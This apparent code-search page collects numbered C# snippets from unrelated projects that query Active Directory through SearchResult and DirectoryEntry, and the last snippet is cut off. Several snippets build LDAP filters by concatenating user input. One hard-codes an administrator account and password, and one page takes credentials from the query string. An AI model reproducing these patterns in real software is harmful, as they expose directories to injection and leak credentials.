Example #1
0
        private static List<string> GetMemberGroupsFromSearchResult(SearchResult searchResult)
        {
            List<string> memberGroups = new List<string>();

            // loop through groups
            foreach (object properties in searchResult.Properties["memberOf"])
            {
                string property = properties.ToString();
                // The following is used to remove the cn= etc...
                int equalsIndex = property.IndexOf("=", 1);
                int commaIndex = property.IndexOf(",", 1);
                if (equalsIndex == -1)
                {
                    return null;
                }

                if (equalsIndex > -1)
                {
                    //New user group name found in Active Directory: " + userGroupName
                    //Get group name
                    string userGroupName = property.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1);
                    memberGroups.Add(userGroupName);
                }
            }
            if (memberGroups.Count == 0)
            {
                //No user group names found in Active Directory. 
                //The client may not have permission to read member groups for the specified user.
            }
            return memberGroups;
        }
 private Principal MapToPrincipal(SearchResult searchResult)
 {
     using (DirectoryEntry directoryEntry = searchResult.GetDirectoryEntry())
     {
         return Principal.FromDirectoryEntry(directoryEntry, additionalPropertyNames);
     }
 }
        public bool isValidMailID(String mailID)
        {
            try
            {
                System.DirectoryServices.DirectoryEntry    dirEntry    = new System.DirectoryServices.DirectoryEntry("LDAP://SukantaServer");
                System.DirectoryServices.DirectorySearcher dirSearcher = new System.DirectoryServices.DirectorySearcher(dirEntry);

                dirSearcher.Filter = "(SAMAccountName=" + mailID + ")";

                System.DirectoryServices.SearchResult result = dirSearcher.FindOne();

                if (result != null)
                {
                    return(true);
                }
                else
                {
                    return(false);
                }
            }
            catch (Exception ex)
            {
                //throw new Exception("User not authenticated: " + ex.Message);
                return(false);
            }
        }
        public SortedList<string, PropertyCollection> GetSortedUsers(SearchResult group)
        {
            SortedList<string, PropertyCollection> result = new SortedList<string, PropertyCollection>();

            try
            {
                foreach (Object memberColl in group.Properties["member"])
                {
                    string strmemberColl = memberColl.ToString().ToLower();
                    if (strmemberColl.Contains("ou=sh") || strmemberColl.Contains("ou=store"))
                    {
                        DirectoryEntry objUserEntry = new DirectoryEntry("LDAP://" + memberColl, "cnadic\\spsadmin", "ciicit#4%6", AuthenticationTypes.Secure);
                        //objUserEntry.RefreshCache();

                        PropertyCollection userProps = objUserEntry.Properties;
                        objUserEntry.Close();

                        if (!string.IsNullOrEmpty(userProps["displayName"].Value + ""))
                        {
                            result.Add(userProps["displayName"].Value.ToString(), userProps);
                        }

                    }

                    //object obVal = userProps["displayName"].Value;
                    //object obAcc = userProps["sAMAccountName"].Value;
                }
            }
            catch (Exception e)
            {
                throw e;
            }

            return result;
        }
Example #5
0
        /// <summary>
        ///  Este metoo autentica elusuario pero no espesifica el error. Tal como lo hace User_Logon retornando LoginResult
        /// </summary>
        /// <param name="LDAPPath">url ldap o coneccion ldap perteneciente al dominio</param>
        /// <param name="domainName">Nombre de dominio</param>
        /// <param name="username">Nombre de usuario</param>
        /// <param name="pwd">password</param>
        /// <returns></returns>
        public static bool User_Logon_IsAuthenticated(string LDAPPath, string domainName, string username, string pwd)
        {
            string domainAndUsername = String.Concat(domainName + @"\" + username);

            try
            {
                DirectoryEntry    Entry    = new DirectoryEntry(LDAPPath, username, pwd, AuthenticationTypes.Secure);
                DirectorySearcher searcher = new DirectorySearcher(Entry);
                searcher.SearchScope = SearchScope.OneLevel;


                System.DirectoryServices.SearchResult results = searcher.FindOne();
                if (results != null)
                {
                    return(true);
                }
            }
            catch (Exception ex)
            {
                TechnicalException te = new Fwk.Exceptions.TechnicalException(ex.Message);
                LDAPHelper.SetError(te);
                te.ErrorId = "15004";
                throw te;
            }
            return(false);
        }
Example #6
0
        /// <summary>
        /// This method will create the address information object
        /// </summary>
        /// <param name="ldapResults">The search results to create the object with</param>
        /// <param name="properties">The properties required.</param>
        /// <returns>The new address object.</returns>
        /// <exception cref="InvalidOperationException">If LDAP provider has raised an COM exception</exception>
        private static IAddress CreateAddress(SearchResult ldapResults, List<string> properties)
        {
            Hashtable hh = SearchForProperties(ldapResults, properties);
            string displayName = "";
            string adsPath = "";
            string email = "";
            ClassType ct = ClassType.Object;

            if (hh.ContainsKey("cn") && hh["cn"] != null)
            {
                if (hh["cn"].GetType() == typeof(string))
                    displayName = "";
                else
                    displayName = ((ResultPropertyValueCollection)hh["cn"])[0].ToString();
            }

            if (hh.ContainsKey("adspath") && hh["adspath"] != null)
            {
                adsPath = ((ResultPropertyValueCollection)hh["adspath"])[0].ToString();
                // Now remove the server entry from the path
                if (adsPath.LastIndexOf("/") > -1)
                    adsPath = adsPath.Substring(adsPath.LastIndexOf("/") + 1);
            }

            if (hh.ContainsKey("mail") && hh["mail"] != null)
            {
                if (hh["mail"].GetType() == typeof(string))
                    email = hh["mail"].ToString();
                else
                    email = ((ResultPropertyValueCollection)hh["mail"])[0].ToString();

                if (email.Length == 0)
                    email = adsPath;
            }

            if (hh.ContainsKey("objectclass") && hh["objectclass"] != null)
            {
                ResultPropertyValueCollection rp = hh["objectclass"] as ResultPropertyValueCollection;
                foreach (string classType in rp)
                {
                    switch (classType.ToLower(System.Threading.Thread.CurrentThread.CurrentCulture))
                    {
                        case "organizationalperson":
                        case "dominoperson":
                            ct = ClassType.User;
                            break;
                        case "dominogroup":
                        case "group":
                            ct = ClassType.Group;
                            break;
                    }
                    if (ct != ClassType.Object)
                        break;
                }
            }

            Address ad = new Address(email, displayName, adsPath);
            ad.LdapType = ct;
            return (IAddress)ad;
        }
        /// <summary>
        /// Converts a SearchResult returned from a query to the active directory store into
        /// an ActiveDirectoryContact including the setting of the Manager & Manages properties
        /// when the withManagerAndManages parameter is set to true.
        /// </summary>
        /// <param name="result">Object returned from query to active directory store.</param>
        /// <param name="withManagerAndManages">Flag indicating whether to set Manager & Manages property.</param>
        /// <returns>Contact with properties populated.</returns>
        private ActiveDirectoryContact ConvertSearchResultToContact(SearchResult result, bool withManagerAndManages)
        {
            if (result == null)
                return null;

            var contact = new ActiveDirectoryContact();
            contact.DistinguishedName = GetProperty(result, "distinguishedName");
            contact.FirstName = GetProperty(result, "givenName");
            contact.LastName = GetProperty(result, "sn");
            contact.Username = GetProperty(result, "cn");
            contact.Telephone = GetProperty(result, "telephoneNumber");
            contact.Email = GetProperty(result, "mail");
            contact.Company = GetProperty(result, "company");
            contact.DisplayName = GetProperty(result, "displayName");
            contact.Office = GetProperty(result, "physicalDeliveryOfficeName");
            contact.Mobile = GetProperty(result, "mobile");
            contact.JobRole = GetProperty(result, "title");
            contact.Fax = GetProperty(result, "facsimileTelephoneNumber");
            contact.HomePhoneNumber = GetProperty(result, "ipPhone");
            contact.IpPhoneNumber = GetProperty(result, "facsimileTelephoneNumber");
            contact.Pager = GetProperty(result, "pager");

            if (withManagerAndManages)
                return AddManagerHeirachies(contact, result);

            return contact;
        }
        public SearchResultWrapper(SearchResult searchResult)
        {
            if(searchResult == null)
                throw new ArgumentNullException("searchResult");

            this._searchResult = searchResult;
        }
 /// <summary>
 /// Searches the result property.
 /// </summary>
 /// <param name="sr">The sr.</param>
 /// <param name="field">The field.</param>
 /// <returns></returns>
 private static String SearchResultProperty(SearchResult sr, string field)
 {
     if (sr.Properties[field] != null)
     {
         return (String)sr.Properties[field][0];
     }
     return null;
 }
Example #10
0
        /// <summary>
        /// Retrieves the user information.
        /// </summary>
        /// <param name="userNameToRetrieveFrom">The user name to retrieve from.</param>
        /// <returns></returns>
        /// <remarks></remarks>
        public LdapUserInfo RetrieveUserInformation(string userNameToRetrieveFrom)
        {
            System.DirectoryServices.DirectorySearcher ldapSearcher = new System.DirectoryServices.DirectorySearcher();
            System.DirectoryServices.SearchResult      ldapResult   = default(System.DirectoryServices.SearchResult);

            string filter = "(&(objectClass=user)(SAMAccountName=" + userNameToRetrieveFrom + "))";


            System.DirectoryServices.DirectoryEntry ldap = default(System.DirectoryServices.DirectoryEntry);

            try
            {
                if (LdapLogonUserName == null)
                {
                    ldap = new System.DirectoryServices.DirectoryEntry("LDAP://" + DomainName);
                }
                else
                {
                    ldap = new System.DirectoryServices.DirectoryEntry("LDAP://" + DomainName, LdapLogonUserName, LdapLogonPassword);
                }
            }
            catch (Exception e)
            {
                Util.Log.Trace(e.ToString());
                throw new CruiseControlException("Problem connecting to LDAP service", e);
            }

            ldapSearcher.SearchRoot  = ldap;
            ldapSearcher.SearchScope = SearchScope.Subtree;

            ldapSearcher.PropertiesToLoad.Add(LdapFieldMailAddress);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldSurName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldCommonName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldGivenName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldDisplayName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldMailNickName);

            ldapSearcher.Filter = filter;
            ldapResult          = ldapSearcher.FindOne();
            ldapSearcher.Dispose();

            LdapUserInfo result = new LdapUserInfo();

            if ((ldapResult != null))
            {
                result.CommonName   = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldCommonName].Value;
                result.DisplayName  = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldDisplayName].Value;
                result.GivenName    = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldGivenName].Value;
                result.MailAddress  = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldMailAddress].Value;
                result.MailNickName = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldMailNickName].Value;
                result.Name         = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldName].Value;
                result.SurName      = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldSurName].Value;
            }

            return(result);
        }
 private static byte[] GetPropertyByteArray(SearchResult result, string propertyName)
 {
     byte[] returnValue = null;
     if (result.Properties[propertyName].Count > 0)
     {
         returnValue = result.Properties[propertyName][0] as byte[];
     }
     return returnValue;
 }
Example #12
0
        private void button2_Click(object sender, EventArgs e)
        {
            DirectoryEntry    de = new DirectoryEntry("LDAP://global.ds.honeywell.com");
            DirectorySearcher ds = new DirectorySearcher();

            ds.Filter = "(SAMAccountName=h387015)";
            ds.PropertiesToLoad.Add("mail");
            System.DirectoryServices.SearchResult sr = ds.FindOne();
        }
Example #13
0
		internal override void Reset()
		{
			this.endReached = false;
			this.current = null;
			if (this.enumerator != null)
			{
				this.enumerator.Reset();
			}
		}
 private static string GetPropertyString(SearchResult result, string propertyName)
 {
     var returnValue = string.Empty;
     if (result.Properties[propertyName].Count > 0)
     {
         returnValue = result.Properties[propertyName][0].ToString();
     }
     return returnValue;
 }
 public static object GetSearchResultPropertyValue(SearchResult res, string propertyName)
 {
     ResultPropertyValueCollection values = null;
     values = res.Properties[propertyName];
     if ((values == null) || (values.Count < 1))
     {
         throw new ProviderException(System.Web.SR.GetString("ADMembership_Property_not_found", new object[] { propertyName }));
     }
     return values[0];
 }
Example #16
0
 static string GetProperty(SearchResult searchResult, string PropertyName)
 {
     if (searchResult.Properties.Contains(PropertyName))
     {
     return searchResult.Properties[PropertyName][0].ToString();
     }
     else
     {
     return string.Empty;
     }
 }
Example #17
0
 public List<string> GetAllProperty(SearchResult result, string PropertyName)
 {
     List<string> Values = new List<string>();
     if (result.Properties.Contains(PropertyName))
     {
         foreach (var m in result.Properties[PropertyName])
         {
             Values.Add(m.ToString());
         }
     }
     return Values;
 }
Example #18
0
		internal override bool MoveNext()
		{
			bool flag = this.enumerator.MoveNext();
			if (!flag)
			{
				this.endReached = true;
			}
			else
			{
				this.current = (SearchResult)this.enumerator.Current;
			}
			return flag;
		}
Example #19
0
        public static string GetUserInitials(SearchResult result)
        {
            string initials = string.Empty;

            if (result != null && result.Properties["initials"] != null && result.Properties["initials"].Count > 0)
            {
                var inits = result.Properties["initials"];

                if (inits != null && inits.Count > 0)
                    initials = result.Properties["initials"][0].ToString();
            }

            return initials;
        }
Example #20
0
		private int GetAsInt(SearchResult result, string name)
		{
			int i = 0;

			try
			{
				i = (int)result.Properties[name][0];
			}
			catch
			{
			}

			return i;
		}
Example #21
0
		private string GetAsString(SearchResult result, string name)
		{
			var s = String.Empty;

			try
			{
				s = result.Properties[name][0] as string;
			}
			catch
			{
			}

			return s;
		}
Example #22
0
        public static string GetProperty(SearchResult srSearchResult, string strPropertyName)
        {
            string result = string.Empty;

            if (srSearchResult.Properties.Contains(strPropertyName))
            {
                result = srSearchResult.Properties[strPropertyName][0].ToString();
            }
            else
            {
                result = "Attribute not found";
            }

            return result;
        }
		private static object EnumEntryItemCallBack(SearchResult sr, ADSearchResultParams asrp, object oParams, ref bool bContinue)
		{
			AD2DBTransferContext context = (AD2DBTransferContext)oParams;

			context.InitialParams.OnBeforeProcessADObject(sr, context.InitialParams, ref bContinue);

			if (bContinue)
			{
				string objName = ADHelper.GetInstance().GetSearchResultPropertyStrValue("name", sr);
				string objClass = AD2DBHelper.TranslateObjectClass(sr.Properties["objectClass"][1].ToString());

				ADHelper helper = ADHelper.GetInstance();

				FillContext(context,
					ADHelper.GetParentRdnSequence(helper.GetSearchResultPropertyStrValue("distinguishedName", sr)));

				try
				{
					switch (objClass)
					{
						case "ORGANIZATIONS":
							InsertOrganizations(sr, context);

							context.OrganizationsConverted++;
							break;
						case "USERS":
							InsertUser(sr, context);
							InsertOUUser(sr, context);
							InsertUsersInfoExtend(sr, context);

							context.UsersConverted++;
							break;
						default:
							break;
					}

					UpdateParentChildrenCounter(context);
				}
				catch (System.Exception ex)
				{
					string strMsg = string.Format("转换对象\"{0}\"出错,{1}", objName, ex.Message + ex.StackTrace);

					context.InitialParams.Log.Write(strMsg);
				}
			}

			return null;
		}
Example #24
0
        private static PC.SchemaObjectBase MeargeChanges(System.DirectoryServices.SearchResult searchResult, PC.SchemaObjectBase schemaObjectBase)
        {
            PC.SCUser user = (PC.SCUser)schemaObjectBase;

            if (searchResult.Properties.Contains("msRTCSIP-PrimaryUserAddress"))
            {
                user.Properties.SetValue("Sip", searchResult.Properties["msRTCSIP-PrimaryUserAddress"][0].ToString());
            }

            if (searchResult.Properties.Contains("mail"))
            {
                user.Properties.SetValue("Mail", searchResult.Properties["mail"][0].ToString());
            }

            return(schemaObjectBase);
        }
Example #25
0
        protected void Page_Load(object sender, System.EventArgs e)
        {
            Response.ClearContent();
            if ((Request.QueryString["user"] == null) || (Request.QueryString["password"] == null) || (Request.QueryString["properties"] == null))
            {
                Response.Write("-1");
                Response.End();
                return;
            }
            string user     = Request.QueryString["user"].ToString().Trim();
            string password = Request.QueryString["password"].ToString().Trim();

            try
            {
                string domain = "ecas.local";
                System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry("LDAP://" + domain, user, password, System.DirectoryServices.AuthenticationTypes.Secure);
                try
                {
                    System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(entry);
                    search.Filter = "(SAMAccountName=" + user + ")";
                    search.PropertiesToLoad.Add("displayName");
                    System.DirectoryServices.SearchResult result = search.FindOne();
                    if (result == null)
                    {
                        Response.Write("-1");
                        Response.End();
                        return;
                    }
                    string properties = Request.QueryString["properties"].ToString().Trim();
                    string nombre     = result.Properties[properties][0].ToString();
                    Response.Write(nombre);
                    Response.End();
                    return;
                }
                catch (System.DirectoryServices.DirectoryServicesCOMException)
                {
                    Response.Write("-1");
                    Response.End();
                }
            }
            catch (System.DirectoryServices.DirectoryServicesCOMException)
            {
                Response.Write("-1");
                Response.End();
            }
        }
Example #26
0
		public AdUser(SearchResult user)
		{
			Name = GetAsString(user, @"sAMAccountName").ToLower();
			DisplayName = GetAsString(user, @"displayName");
			Email = GetAsString(user, @"mail");
			Telephone = GetAsString(user, @"telephoneNumber");
			Fax = GetAsString(user, @"facsimileTelephoneNumber");
			StreetAddress = GetAsString(user, @"streetAddress");
			City = GetAsString(user, @"l");
			State = GetAsString(user, @"st");
			CountryCode = ISO3166.ToA2(GetAsInt(user, @"countryCode"), null);
			PostalCode = GetAsString(user, @"postalCode");
			WwwHomepage = GetAsString(user, @"wWWHomePage");
			Title = GetAsString(user, @"title");
			Company = GetAsString(user, @"company");
			PhysicalDeliveryOfficeName = GetAsString(user, @"physicalDeliveryOfficeName");
		}
Example #27
0
        private static bool IsDifferent(System.DirectoryServices.SearchResult item, SimpleUser entity)
        {
            bool same = true;

            if (item.Properties.Contains("mail") && item.Properties["mail"][0].ToString() != entity.Mail)
            {
                same = false;
            }
            else
            {
                if (item.Properties.Contains("msRTCSIP-PrimaryUserAddress") && item.Properties["msRTCSIP-PrimaryUserAddress"][0].ToString() != entity.Sip)
                {
                    same = false;
                }
            }

            return(!same);
        }
Example #28
0
        public bool IsAuthenticated(string Domain, string username, string pwd)
        {
            bool              Success  = false;
            DirectoryEntry    Entry    = new DirectoryEntry(Domain, username, pwd);
            DirectorySearcher Searcher = new DirectorySearcher(Entry);

            Searcher.SearchScope = SearchScope.OneLevel;
            try
            {
                System.DirectoryServices.SearchResult Results = Searcher.FindOne();
                Success = (Results != null);
            }
            catch
            {
                Success = false;
            }
            return(Success);
        }
Example #29
0
        // Advance the enumerator to the next principal in the result set, pulling in additional pages
        // of results as needed.
        // Returns true if successful, false if no more results to return.
        override internal bool MoveNext()
        {
            GlobalDebug.WriteLineIf(GlobalDebug.Info, "ADEntriesSet", "MoveNext");

            Debug.Assert(_enumerator != null);

            bool f = _enumerator.MoveNext();

            if (f)
            {
                _current = (SearchResult)_enumerator.Current;
            }
            else
            {
                _endReached = true;
            }

            return f;
        }
        /// <summary>
        /// Adds the ActiveDirectoryContact that represents the Manager and a list of
        /// ActiveDirectoryContacts that represent the contacts that the contact
        /// inputted manages.
        /// </summary>
        /// <param name="contact">Contact that should have its Manages and Manager properties
        /// fulfilled.</param>
        /// <param name="result">Object returned from a query to the active directory store.</param>
        /// <returns>Contact with values set of Manages and Manager.</returns>
        private ActiveDirectoryContact AddManagerHeirachies(ActiveDirectoryContact contact, SearchResult result)
        {
            if (contact == null)
                return null;

            var managerDn = GetProperty(result, "manager");
            var managesDns = GetListProperty(result, "directReports");

            if (!string.IsNullOrWhiteSpace(managerDn))
                contact.Manager = GetContactByDistinguishedName(managerDn, false);

            if (managesDns != null && managesDns.Count > 0)
            {
                contact.Manages = new List<ActiveDirectoryContact>();

                foreach (var dn in managesDns)
                    contact.Manages.Add(GetContactByDistinguishedName(dn, false));
            }

            return contact;
        }
		private void BindSearchResult(SearchResult sr, TreeNode parent)
		{
			ADHelper helper = GetADHelper();

			string name = helper.GetSearchResultPropertyStrValue("displayName", sr);

			if (name.IsNullOrEmpty())
				name = helper.GetSearchResultPropertyStrValue("name", sr);

			TreeNode node = new TreeNode();

			node.Text = name;
			node.Tag = helper.GetSearchResultPropertyStrValue("distinguishedName", sr);

			parent.Nodes.Add(node);

			string objectClass = AD2DBHelper.TranslateObjectClass(sr.Properties["objectClass"][1].ToString());

			int imageIndex = 0;

			switch (objectClass)
			{
				case "ORGANIZATIONS":
					node.Nodes.Add(CreateFakeNode());
					break;
				case "USERS":
					imageIndex = 1;

					if (helper.GetUserAccountPolicy(sr).UserAccountDisabled)
						imageIndex = 3;

					break;
				case "GROUPS":
					imageIndex = 2;
					break;
			}

			node.ImageIndex = imageIndex;
			node.SelectedImageIndex = imageIndex;
		}
Example #32
0
		/// <summary>
		/// This method will return the properties from the container for the common name object
		/// specified.
		/// </summary>
		/// <param name="searcher">The LDAP search container</param>
		/// <param name="propertyNames">An array of property name to search for</param>
		/// <returns>The properties found</returns>
		/// <exception cref="InvalidOperationException">If LDAP provider has raised an COM exception</exception>
		protected static Hashtable SearchForProperties(SearchResult searcher, ArrayList propertyNames)
		{
			Hashtable properties = new Hashtable();
			foreach (string prop in propertyNames)
			{
				properties.Add(prop, "");
			}

			try
			{
				foreach (string str in searcher.Properties.PropertyNames)
				{
					if (properties.ContainsKey(str))
					{
						if (str == "objectclass")
						{
							StringBuilder sb = new StringBuilder();
							for (int i = 0; i < searcher.Properties[str].Count; i++)
							{
								sb.AppendFormat("{0},", searcher.Properties[str][i]);
							}
							properties[str] = sb.ToString();
						}
						else
						{
							properties[str] = searcher.Properties[str][0];
						}
					}
				}
			}
			catch (COMException e)
			{
				StringBuilder err = new StringBuilder();
				err.AppendFormat("Cannot search LDAP provider specified!{0}{0}{1}",
					Environment.NewLine, e.Message);
				throw new InvalidOperationException(err.ToString(), e);
			}
			return properties;
		}
Example #33
0
        private void GetADProperties(System.DirectoryServices.SearchResult result)
        {
            if (result.Properties.Count > 0)
            {
                //System.Collections.ICollection nameList = this.searchResult.Properties.PropertyNames;
                //System.Collections.ICollection valueList = this.searchResult.Properties.Values;

                foreach (System.Collections.DictionaryEntry item in this.searchResult.Properties)
                {
                    //var itemKey = item.Key;
                    //var itemValue = item.Value;
                    System.Collections.ReadOnlyCollectionBase valueList = ((System.Collections.ReadOnlyCollectionBase)(item.Value));
                    foreach (var valuekey in valueList)
                    {
                        //Assign prop to List<string, string>
                        if (ADProperties.Where(x => x.Key == item.Key).Count() == 0)
                        {
                            ADProperties.Add(Convert.ToString(item.Key), Convert.ToString(valuekey));
                        }
                    }
                }
            }
        }
 private static void UpdateTelephoneContact(Employee employee, eTelephoneContactType contactDetailType, SearchResult searchResult, string field,
     string displayName)
 {
     if (searchResult.Properties[field].Count > 0)
     {
         TelephoneContact officeContact =
             (TelephoneContact)
                 employee.ContactCard.FirstOrDefault(
                     tc =>
                         tc.ContactDetailType == eContactDetailType.ContactNumber &&
                         tc.DisplayName.Equals(displayName));
         if (officeContact == null)
         {
             officeContact = new TelephoneContact()
             {
                 DisplayName = displayName,
                 TelephoneType = contactDetailType
             };
             employee.ContactCard.Add(officeContact);
         }
         officeContact.SetNumber(searchResult.Properties[field][0].ToString());
     }
 }
Example #35
0
        private string GetProperty(AD.SearchResult searchResult, string PropertyName)
        {
            string resultado;
            string otroValor;

            resultado = string.Empty;
            foreach (string propertyKey in searchResult.Properties.PropertyNames)
            {
                AD.ResultPropertyValueCollection valueCollection = searchResult.Properties[propertyKey];
                foreach (var propertyValue in valueCollection)
                {
                    if (propertyKey == PropertyName)
                    {
                        resultado = propertyValue.ToString();
                    }
                    else
                    {
                        otroValor = propertyValue.ToString();
                    }
                }
            }
            return(resultado);
        }
		private static void SyncGroupMembers(IGroup oguGroup, SearchResult adGroup, SynchronizeContext context)
		{
			using (DirectoryEntry adEntry = adGroup.GetDirectoryEntry())
			{
				try
				{
					var members = adEntry.Properties["member"];
					members.Clear();

					AddGroupMembers(oguGroup.Members.ToIDList(), members, context);

					adEntry.CommitChanges();
				}
				catch (Exception ex)
				{
					context.ExceptionCount++;

					LogHelper.WriteSynchronizeDBLogDetail(SynchronizeContext.Current.SynchronizeID, "修改群组成员", oguGroup.ID, oguGroup.Name,
									 context.ADHelper.GetPropertyStrValue("objectGuid", adEntry),
									 context.ADHelper.GetPropertyStrValue("distinguishedName", adEntry),
									 string.Format("修改群组成员时出错:" + ex.Message));
				}
			}
		}
        protected DirectoryData CreateDirectoryDataFromSearchResult(SearchResult result)
        {
            if (result == null)
            {
                return null;
            }

            var properties = new Dictionary<string, string[]>(this._propertiesToLoad.Count);
            foreach (string propName in this._propertiesToLoad)
            {
                if (result.Properties.Contains(propName))
                {
                    var propVal = result.Properties[propName];
                    var values = new string[propVal.Count];
                    for (int i = 0; i < propVal.Count; i++)
                    {
                        values[i] = propVal[i].ToString();
                    }
                    properties.Add(propName, values);
                }
            }

            return new DirectoryData(DistinguishedName(properties), SchemaClassName(properties), properties);
        }
Example #38
0
        public ActionResult LoginSNHQAD()
        {
            string   UserName   = PageReq.GetForm("userName");
            string   PassWord   = PageReq.GetForm("passWord");
            string   rememberMe = PageReq.GetForm("rememberMe");
            string   remember   = "";
            PageJson json       = new PageJson();

            #region 判断是否停用
            if (AllowToLogin() == false)
            {
                json.Success = false;
                json.Message = "误操作,请联系技术支持工程师,电话0592-3385501";
                json.AddInfo("ReturnUrl", "");
                return(Json(json));
            }
            #endregion


            if (!string.IsNullOrEmpty(rememberMe))
            {
                remember = "on";
            }
            DataOperation dataOp    = new DataOperation();
            string        ReturnUrl = PageReq.GetParam("ReturnUrl");

            DirectoryEntry AD   = new DirectoryEntry();
            BsonDocument   user = dataOp.FindOneByKeyVal("SysUser", "loginName", UserName);
            if (user == null)
            {
                json.Success = false;
                json.Message = "用户名不存在";
                json.AddInfo("ReturnUrl", ReturnUrl.ToString());
                return(Json(json));
            }
            if (user.Int("status") == 2)
            {
                json.Success = false;
                json.Message = "用户已经被锁定";
                json.AddInfo("ReturnUrl", ReturnUrl.ToString());
                return(Json(json));
            }
            AD.Path               = string.Format("LDAP://{0}", SysAppConfig.LDAPName);
            AD.Username           = SysAppConfig.ADName + @"\" + UserName;
            AD.Password           = PassWord;
            AD.AuthenticationType = AuthenticationTypes.Secure;
            try
            {
                DirectorySearcher searcher = new DirectorySearcher(AD);
                searcher.Filter = String.Format("(&(objectCategory=CN=Person,CN=Schema,CN=Configuration,DC=suning,DC=com,DC=cn)(samAccountName={0}))", UserName);
                System.DirectoryServices.SearchResult result = searcher.FindOne();
                if (result != null)
                {
                    if (user != null)
                    {
                        this.SetUserLoginInfo(user, remember);    //记录用户成功登录的信息

                        if (string.IsNullOrEmpty(ReturnUrl) || ReturnUrl == "/" || ReturnUrl == "/default.aspx")
                        {
                            ReturnUrl = SysAppConfig.IndexUrl;
                        }
                        json.Success = true;
                        json.Message = "登录成功";
                        json.AddInfo("ReturnUrl", ReturnUrl.ToString());
                    }
                    else
                    {
                        json.Success = false;
                        json.Message = "用户名或密码错误";
                        json.AddInfo("ReturnUrl", ReturnUrl.ToString());
                    }
                }
                else
                {
                    json.Success = false;
                    json.Message = "密码错误";
                    json.AddInfo("ReturnUrl", ReturnUrl.ToString());
                }
                AD.Close();
            }
            catch (Exception ex)
            {
                json.Success = false;
                json.Message = "密码错误";
                json.AddInfo("ReturnUrl", "");
            }
            return(Json(json));
        }
Example #39
0
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            dominio = (dominio == "") ? "GRUPORANSA" : dominio;
            string rpta = "";
            AccesoUsuarioOutput usuarios = new AccesoUsuarioOutput();

            DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            variablesGlobales._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            int flagExists = variablesGlobales._estCuentaUsuario & 0x2;
                            if (flagExists > 0)
                            {
                                usuarios.IDUSER   = 0;
                                usuarios.USERNM   = "La cuenta de usuario se encuentra deshabilitada";
                                usuarios.NVLACC   = "SIN ACCESO";
                                usuarios.PERMISOS = new List <CE_AccesosUsuario>();
                                rpta = JsonConvert.SerializeObject(usuarios);
                            }

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                //rpta = "[{id=0, mensaje = '"+ ex.Message + "'}]";
                                rpta = "{\"id\":0, \"mensaje\": \"" + ex.Message + "\"}";
                                return(rpta);
                            }

                            if (User.Properties.Contains("displayName"))
                            {
                                variablesGlobales._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            }

                            variablesGlobales._rolUsuario    = (User.Properties["title"].Count > 0) ? System.Convert.ToString(User.Properties["title"][0]) : "";
                            variablesGlobales._dptoUsuario   = (User.Properties["department"].Count > 0) ? System.Convert.ToString(User.Properties["department"][0]) : "";
                            variablesGlobales._correoUsuario = (User.Properties["proxyAddresses"].Count > 0) ? System.Convert.ToString(User.Properties["proxyAddresses"][0]) : "";
                            variablesGlobales._cuentaUsuario = (User.Properties["sAMAccountName"].Count > 0) ? System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper() : "";

                            usuarios = ValidarAccesos(variablesGlobales._cuentaUsuario);

                            rpta = JsonConvert.SerializeObject(usuarios);
                        }
                    }
                    else
                    {
                        usuarios.IDUSER   = 0;
                        usuarios.USERNM   = "No EXiste";
                        usuarios.NVLACC   = "SIN ACCESO";
                        usuarios.PERMISOS = new List <CE_AccesosUsuario>();
                        rpta = JsonConvert.SerializeObject(usuarios);
                    }
                }
            }
            return(rpta);
        }
 private void InitializePropertiesFromSchemaContainer()
 {
     if (!this.propertiesFromSchemaContainerInitialized)
     {
         if (this.schemaEntry == null)
         {
